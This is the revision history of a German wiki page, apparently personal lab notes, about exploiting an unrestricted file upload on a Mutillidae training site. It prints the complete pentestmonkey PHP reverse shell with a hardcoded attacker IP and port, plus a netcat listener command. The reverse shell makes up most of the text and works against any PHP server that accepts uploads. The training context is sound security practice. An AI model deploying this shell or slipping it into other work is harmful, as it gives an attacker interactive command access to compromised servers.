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Thomas.will: /* Angreifer */

2021-06-16T20:50:20Z

Angreifer

Thomas.will am 16. Juni 2021 um 20:50 Uhr

2021-06-16T20:50:05Z

Thomas.will: Die Seite wurde neu angelegt: „=Unrestricted File Upload= *https://owasp.willux.de/mutillidae/index.php?page=upload-file.php =PHP Remote Shell=

 
2021-06-16T20:47:29Z
Die Seite wurde neu angelegt: „=Unrestricted File Upload= *https://owasp.willux.de/mutillidae/index.php?page=upload-file.php =PHP Remote Shell= <pre> <?php // php-reverse-shell - A Reverse S…“
Neue Seite
=Unrestricted File Upload=

*https://owasp.willux.de/mutillidae/index.php?page=upload-file.php

=PHP Remote Shell=

<pre>

<?php

// php-reverse-shell - A Reverse Shell implementation in PHP

// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

//

// This tool may be used for legal purposes only.  Users take full responsibility

// for any actions performed using this tool.  The author accepts no liability

// for damage caused by this tool.  If these terms are not acceptable to you, then

// do not use this tool.

//

// In all other respects the GPL version 2 applies:

//

// This program is free software; you can redistribute it and/or modify

// it under the terms of the GNU General Public License version 2 as

// published by the Free Software Foundation.

//

// This program is distributed in the hope that it will be useful,

// but WITHOUT ANY WARRANTY; without even the implied warranty of

// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the

// GNU General Public License for more details.

//

// You should have received a copy of the GNU General Public License along

// with this program; if not, write to the Free Software Foundation, Inc.,

// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

//

// This tool may be used for legal purposes only.  Users take full responsibility

// for any actions performed using this tool.  If these terms are not acceptable to

// you, then do not use this tool.

//

// You are encouraged to send comments, improvements or suggestions to

// me at pentestmonkey@pentestmonkey.net

//

// Description

// -----------

// This script will make an outbound TCP connection to a hardcoded IP and port.

// The recipient will be given a shell running as the current user (apache normally).

//

// Limitations

// -----------

// proc_open and stream_set_blocking require PHP version 4.3+, or 5+

// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.

// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.

//

// Usage

// -----

// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.



set_time_limit (0);

$VERSION = "1.0";

$ip = '10.81.70.249';  // CHANGE THIS

$port = 1234;       // CHANGE THIS

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = 'uname -a; w; id; /bin/sh -i';

$daemon = 0;

$debug = 0;



//

// Daemonise ourself if possible to avoid zombies later

//



// pcntl_fork is hardly ever available, but will allow us to daemonise

// our php process and avoid zombies.  Worth a try...

if (function_exists('pcntl_fork')) {

        // Fork and have the parent process exit

        $pid = pcntl_fork();



        if ($pid == -1) {

                printit("ERROR: Can't fork");

                exit(1);

        }



        if ($pid) {

                exit(0);  // Parent exits

        }



        // Make the current process a session leader

        // Will only succeed if we forked

        if (posix_setsid() == -1) {

                printit("Error: Can't setsid()");

                exit(1);

        }



        $daemon = 1;

} else {

        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");

}



// Change to a safe directory

chdir("/");



// Remove any umask we inherited

umask(0);



//

// Do the reverse shell...

//



// Open reverse connection

$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock) {

        printit("$errstr ($errno)");

        exit(1);

}



// Spawn shell process

$descriptorspec = array(

   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from

   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to

   2 => array("pipe", "w")   // stderr is a pipe that the child will write to

);



$process = proc_open($shell, $descriptorspec, $pipes);



if (!is_resource($process)) {

        printit("ERROR: Can't spawn shell");

        exit(1);

}



// Set everything to non-blocking

// Reason: Occsionally reads will block, even though stream_select tells us they won't

stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);

stream_set_blocking($pipes[2], 0);

stream_set_blocking($sock, 0);



printit("Successfully opened reverse shell to $ip:$port");



while (1) {

        // Check for end of TCP connection

        if (feof($sock)) {

                printit("ERROR: Shell connection terminated");

                break;

        }



        // Check for end of STDOUT

        if (feof($pipes[1])) {

                printit("ERROR: Shell process terminated");

                break;

        }



        // Wait until a command is end down $sock, or some

        // command output is available on STDOUT or STDERR

        $read_a = array($sock, $pipes[1], $pipes[2]);

        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);



        // If we can read from the TCP socket, send

        // data to process's STDIN

        if (in_array($sock, $read_a)) {

                if ($debug) printit("SOCK READ");

                $input = fread($sock, $chunk_size);

                if ($debug) printit("SOCK: $input");

                fwrite($pipes[0], $input);

        }



        // If we can read from the process's STDOUT

        // send data down tcp connection

        if (in_array($pipes[1], $read_a)) {

                if ($debug) printit("STDOUT READ");

                $input = fread($pipes[1], $chunk_size);

                if ($debug) printit("STDOUT: $input");

                fwrite($sock, $input);

        }



        // If we can read from the process's STDERR

        // send data down tcp connection

        if (in_array($pipes[2], $read_a)) {

                if ($debug) printit("STDERR READ");

                $input = fread($pipes[2], $chunk_size);

                if ($debug) printit("STDERR: $input");

                fwrite($sock, $input);

        }

}



fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($process);



// Like print, but does nothing if we've daemonised ourself

// (I can't figure out how to redirect STDOUT like a proper daemon)

function printit ($string) {

        if (!$daemon) {

                print "$string\n";

        }

}



?>



</pre>

@@ Zeile 2: / Zeile 2: @@
 ;IP  : 10.81.70.249
 ;PORT: 1234
 *netcat  -lp 1234^C
 =Unrestricted File Upload=
 *https://owasp.willux.de/mutillidae/index.php?page=upload-file.php

← Nächstältere Version		Version vom 16. Juni 2021, 20:50 Uhr
Zeile 1:		Zeile 1:
		+	=Angreifer=
		+	;IP : 10.81.70.249
		+	;PORT: 1234
		+	*netcat -lp 1234^C
	=Unrestricted File Upload=		=Unrestricted File Upload=
	*https://owasp.willux.de/mutillidae/index.php?page=upload-file.php		*https://owasp.willux.de/mutillidae/index.php?page=upload-file.php

DVWA Remote Exploit - Versionsgeschichte

Thomas.will: Die Seite wurde geleert.

Thomas.will: /* Angreifer */

Thomas.will am 16. Juni 2021 um 20:50 Uhr